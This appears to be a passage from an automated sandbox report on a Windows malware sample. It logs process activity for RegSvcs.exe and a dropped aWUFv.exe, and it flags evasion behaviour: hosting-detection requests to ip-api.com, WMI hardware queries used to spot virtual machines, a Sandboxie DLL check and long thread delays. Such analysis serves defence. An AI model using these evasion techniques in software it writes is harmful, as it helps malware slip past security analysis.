Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	API/Special instruction interceptor: Address: 401E2B4
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	API/Special instruction interceptor: Address: 408E2B4

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegSvcs.exe, 00000008.00000002.2557012499.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.2567429663.0000000003414000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.0000000002944000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Memory allocated: E50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Memory allocated: 27E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Memory allocated: 47E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Memory allocated: 27C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Memory allocated: 2850000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Memory allocated: 4850000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599452	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599336	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599102	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599777	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599661	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4960	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4845	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 3019	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 6798	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2762	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7057	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3548	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe TID: 2612	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe TID: 3636	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599452	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599336	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599102	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99327	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99214	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99071	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98939	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98030	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99886	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99559	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99124	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98124	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599777	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599661	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99780	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99576	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99305	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99192	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98749	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97327	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596047	Jump to behavior
